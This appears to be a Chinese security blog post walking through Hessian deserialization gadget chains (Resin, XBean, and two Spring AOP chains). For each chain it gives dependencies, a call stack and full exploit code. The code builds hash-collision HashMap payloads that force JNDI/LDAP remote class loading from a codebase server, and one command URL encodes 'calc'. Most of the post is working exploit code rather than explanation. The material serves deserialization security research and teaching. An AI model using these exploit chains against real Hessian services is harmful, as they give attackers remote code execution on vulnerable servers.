public class HessianResin {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while (field == null) {
try {
field = clazz.getDeclaredField(fieldName);
}catch (NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String codebase = "http://127.0.0.1:8000/";
String factoryName = "test";
Reference ref = new Reference("test", factoryName, codebase);
CannotProceedException cpe = new CannotProceedException();
setFieldValue(cpe,"resolvedObj", ref);
Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(cpe, new Hashtable<>());
Context context = (Context) o;
QName qName = new QName(context, "test","test1");
// qName.toString();
XString xString = new XString("aa");
xString.equals(qName);
}
}

剩下的就是利用hash冲突在hashmap执行put时,触发xString.equals(qName);了
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
这应该是根据 QName和XString的hashcode方法,进行了逆向得来的刚好能使两个类造成hash冲突的算法
最终代码
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.enterprise.inject.New;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
/**
* NamingManager.getObjectFactoryFromReference() (javax.naming.spi)
* NamingManager.getObjectInstance() (javax.naming.spi)
* NamingManager.getContext() (javax.naming.spi)
* ContinuationContext.getTargetContext() (javax.naming.spi)
* ContinuationContext.composeName() (javax.naming.spi)
* QName.toString() (com.caucho.naming)
* XString.equals() (com.sun.org.apache.xpath.internal.objects)
* HashMap.putVal()
* HashMap.put()
* MapDeserializer.readMap()
* SerializerFactory.readMap()
* HessianInput.readObject()
*/
public class HessianResin {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while (field == null) {
try {
field = clazz.getDeclaredField(fieldName);
}catch (NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, value);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static void main(String[] args) throws Exception{
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String codebase = "http://127.0.0.1:8000/";
String factoryName = "test";
Reference ref = new Reference("test", factoryName, codebase);
CannotProceedException cpe = new CannotProceedException();
setFieldValue(cpe,"resolvedObj", ref);
Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(cpe, new Hashtable<>());
Context context = (Context) o;
QName qName = new QName(context, "test","test1");
// qName.toString();
String s = unhash(qName.hashCode());
XString xString = new XString(s);
// xString.equals(qName);
HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(qName, "test");
// System.out.println(hashMap);
// hashMap.put(xString, "test");
Class nodeC = null;
try{
nodeC = Class.forName("java.util.HashMap$Node");
}catch (ClassNotFoundException e){
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object qNaNode = nodeCC.newInstance(0, qName, "test", null);
Object xStrNode = nodeCC.newInstance(1, xString, "test", null);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, qNaNode);
Array.set(tbl, 1, xStrNode);
setFieldValue(hashMap, "table", tbl);
setFieldValue(hashMap, "size", 2);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(hashMap);
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Object o1 = new HessianInput(bais).readObject();
System.out.println(o1);
}
}
成功执行
XBean链
依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.3.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.5</version>
</dependency>
调用栈
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
resolve:73, ContextUtil (org.apache.xbean.naming.context)
getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
toString:192, Binding (javax.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
其实这个跟Resin链基本调用过程是一样的,利用equals调用 ContextUtil$ReadOnlyBinding的 toString() 方法,但是他并没有重写父类的 toString() 方法,所以调用的父类 Binding.toString() 方法。

调用到 ContextUtil$ReadOnlyBinding.getObject() 接着 ContextUtil.resolve() 后续就是熟悉的NamingManager里实现类加载了
用HotSwappableTargetSource封装,是因为他即实现了hashCode方法,也实现了equals方法,且hashCode返回值固定,可以触发hash冲突

EXP代码
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
/**
* loadClass:61, VersionHelper12 (com.sun.naming.internal)
* getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
* getObjectInstance:319, NamingManager (javax.naming.spi)
* resolve:73, ContextUtil (org.apache.xbean.naming.context)
* getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
* toString:192, Binding (javax.naming)
* equals:392, XString (com.sun.org.apache.xpath.internal.objects)
* equals:104, HotSwappableTargetSource (org.springframework.aop.target)
* putVal:634, HashMap (java.util)
* put:611, HashMap (java.util)
*/
public class HessianXBean {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String codeBase = "http://127.0.0.1:8000/";
String factoryName = "test";
Reference ref = new Reference(factoryName, factoryName, codeBase);
WritableContext writableContext = new WritableContext();
ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding("test",ref,writableContext );
XString xString = new XString("aaa");
HotSwappableTargetSource xstr = new HotSwappableTargetSource(xString);
HotSwappableTargetSource read = new HotSwappableTargetSource(readOnlyBinding);
HashMap<Object, Object> hashMap = new HashMap<>();
Class nodeC;
try{
nodeC = Class.forName("java.util.HashMap$Node");
}catch (ClassNotFoundException e){
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object node1 = nodeCC.newInstance(0, read, "test", null);
Object node2 = nodeCC.newInstance(1, xstr, "test", null);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, node1);
Array.set(tbl, 1, node2);
Field table = hashMap.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(hashMap, tbl);
Field size = hashMap.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(hashMap);
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Object o = new HessianInput(bais).readObject();
}
}
可以成功执行

Spring PartiallyComparableAdvisorHolder链
依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.26</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.26</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.22</version>
</dependency>
EXP代码
需要注意的是:有些类初始化需要避开构造方法,因为构造方法有的会执行重点代码,有的执行super构造器,从而抛出异常。
这里使用Unsafe 实例化的类,避开了构造方法的执行
package com.hessian.hessianspring.demos.hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAfterAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
/**
* SimpleJndiBeanFactory.doGetType() (org.springframework.jndi.support)
* SimpleJndiBeanFactory.getType() (org.springframework.jndi.support)
* BeanFactoryAspectInstanceFactory.getOrder() (org.springframework.aop.aspectj.annotation)
* AbstractAspectJAdvice.getOrder (org.springframework.aop.aspectj)
* AspectJPointcutAdvisor.getOrder() (org.springframework.aop.aspectj)
* AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString() (org.springframework.aop.aspectj.autoproxy)
* XString.equals() (com.sun.org.apache.xpath.internal.objects)
* HotSwappableTargetSource.equals() (org.springframework.aop.target) //可忽略
* HashMap.putVal()
* HashMap.put()
* MapDeserializer.readMap()
* SerializerFactory.readMap()
* Hessian2Input.readObject()
*/
public class SpringPartiallyComparableEXP {
public static Object createWithoutCons(String cls) throws Exception{
Class<?> clazz = Class.forName(cls);
Field unsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null);
return unsafe.allocateInstance(clazz);
}
public static void setFiledValue(Object o,String filedname,Object value) throws Exception {
Field field = null;
try{
field = o.getClass().getDeclaredField(filedname);
}catch (NoSuchFieldException e){
field = o.getClass().getSuperclass().getDeclaredField(filedname);
}
field.setAccessible(true);
field.set(o,value);
}
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String evilJndi = "ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
simpleJndiBeanFactory.addShareableResource(evilJndi);
// BeanFactoryAspectInstanceFactory instanceFactory = new BeanFactoryAspectInstanceFactory(simpleJndiBeanFactory, evilJndi);
BeanFactoryAspectInstanceFactory instanceFactory = (BeanFactoryAspectInstanceFactory)createWithoutCons("org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory");
setFiledValue(instanceFactory,"beanFactory",simpleJndiBeanFactory);
setFiledValue(instanceFactory,"name",evilJndi);
// 实例化抽象类AbstractAspectJAdvice的子类AspectJAfterAdvice
// AspectJAfterAdvice aspectJAfterAdvice = new AspectJAfterAdvice(null, null, instanceFactory);
AspectJAfterAdvice aspectJAfterAdvice = (AspectJAfterAdvice) createWithoutCons("org.springframework.aop.aspectj.AspectJAfterAdvice");
setFiledValue(aspectJAfterAdvice,"aspectInstanceFactory",instanceFactory);
// AspectJPointcutAdvisor aspectJPointcutAdvisor = new AspectJPointcutAdvisor(aspectJAfterAdvice);
AspectJPointcutAdvisor aspectJPointcutAdvisor = (AspectJPointcutAdvisor) createWithoutCons("org.springframework.aop.aspectj.AspectJPointcutAdvisor");
setFiledValue(aspectJPointcutAdvisor,"advice",aspectJAfterAdvice);
Class<?> clazz = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Class<?> comparatorClass = Class.forName("java.util.Comparator");
Constructor<?> constructor = clazz.getDeclaredConstructor(Advisor.class,comparatorClass);
constructor.setAccessible(true);
Object partiallyComparableAdvisorHolder = constructor.newInstance(aspectJPointcutAdvisor,null);
XString xString = new XString("1");
// xString.equals(partiallyComparableAdvisorHolder);
HotSwappableTargetSource t1 = new HotSwappableTargetSource(partiallyComparableAdvisorHolder);
HotSwappableTargetSource t2 = new HotSwappableTargetSource(xString);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
HashMap hashMap = new HashMap();
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object node1 = nodeCC.newInstance(0, t1, "t1", null);
Object node2 = nodeCC.newInstance(1, t2, "t2", null);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, node1);
Array.set(tbl, 1, node2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
table.set(hashMap, tbl);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
// FileOutputStream baos = new FileOutputStream("exp.bin");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput hout = new HessianOutput(baos);
hout.setSerializerFactory(serializerFactory);
hout.writeObject(hashMap);
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// FileInputStream bais = new FileInputStream("exp.bin");
HessianInput hessianInput = new HessianInput(bais);
hessianInput.readObject();
}
}
成功执行

Spring AbstractBeanFactoryPointcutAdvisor链
依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.26</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.26</version>
</dependency>
调用栈
SimpleJndiBeanFactory.getBean() (org.springframework.jndi.support)
AbstractBeanFactoryPointcutAdvisor.getAdvice() (org.springframework.aop.support)
AbstractPointcutAdvisor.equals() (org.springframework.aop.support)
HotSwappableTargetSource.equals() (org.springframework.aop.target)
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()
很简单的链,直接看代码吧
EXP代码
package com.hessian.hessianspring.demos.hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
/**
* SimpleJndiBeanFactory.getBean() (org.springframework.jndi.support)
* AbstractBeanFactoryPointcutAdvisor.getAdvice() (org.springframework.aop.support)
* AbstractPointcutAdvisor.equals() (org.springframework.aop.support)
* HotSwappableTargetSource.equals() (org.springframework.aop.target)
* HashMap.putVal()
* HashMap.put()
*/
public class SpringAbstractBeanFactoryEXP {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String evilJndi = "ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
simpleJndiBeanFactory.addShareableResource(evilJndi);
DefaultBeanFactoryPointcutAdvisor advisor1 = new DefaultBeanFactoryPointcutAdvisor();
advisor1.setAdviceBeanName(evilJndi);
advisor1.setBeanFactory(simpleJndiBeanFactory);
AsyncAnnotationAdvisor advisor2 = new AsyncAnnotationAdvisor();
HotSwappableTargetSource t1 = new HotSwappableTargetSource(advisor1);
HotSwappableTargetSource t2 = new HotSwappableTargetSource(advisor2);
HashMap hashMap = new HashMap();
// hashMap.put(t1,"aaa");
// hashMap.put(t2,"bbb");
Class nodeC;
try{
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object node1 = nodeCC.newInstance(0, t1, "test", null);
Object node2 = nodeCC.newInstance(1, t2, "test", null);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, node1);
Array.set(tbl, 1, node2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
table.set(hashMap, tbl);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(hashMap);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
new HessianInput(bais).readObject();
}
}

参考文章
https://www.javasec.org/java-vuls/Hessian.html
Hessian 反序列化原理到武器化利用 - FreeBuf 网络安全行业门户


浙公网安备 33010602011771号